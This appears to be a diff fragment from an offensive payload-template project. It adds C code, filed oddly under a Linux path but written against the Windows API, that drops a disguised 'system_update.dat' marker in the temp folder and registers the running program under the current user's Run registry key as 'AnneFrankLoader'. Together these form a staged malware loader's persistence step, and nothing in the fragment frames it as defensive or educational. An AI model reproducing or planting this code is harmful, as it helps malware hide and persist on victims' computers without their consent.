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Linux/templates/stageless/staggered_reg.c

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+#include <windows.h>
+#include <stdio.h>
+
+void stage1_write_marker(void) {
+    char path[MAX_PATH];
+    GetTempPathA(MAX_PATH, path);
+    strcat(path, "system_update.dat");
+    HANDLE h = CreateFileA(path, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
+    if (h != INVALID_HANDLE_VALUE) {
+        DWORD written;
+        WriteFile(h, "PENDING", 7, &written, NULL);
+        CloseHandle(h);
+    }
+}
+
+void stage2_install_reg(void) {
+    HKEY hKey;
+    char path[MAX_PATH];
+    GetModuleFileNameA(NULL, path, MAX_PATH);
+    if (RegOpenKeyExA(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_SET_VALUE, &hKey) == ERROR_SUCCESS) {
+        RegSetValueExA(hKey, "AnneFrankLoader", 0, REG_SZ, (BYTE*)path, lstrlenA(path) + 1);
+        RegCloseKey(hKey);
+    }
+}